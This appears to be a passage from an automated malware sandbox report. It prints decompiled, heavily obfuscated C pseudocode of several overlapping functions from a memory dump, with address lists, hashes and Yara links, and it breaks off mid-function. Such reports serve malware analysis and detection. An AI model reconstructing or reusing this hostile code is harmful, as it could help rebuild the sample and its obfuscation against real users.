				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t39);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t39);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t38);
						_t20 = 0x2c1c;
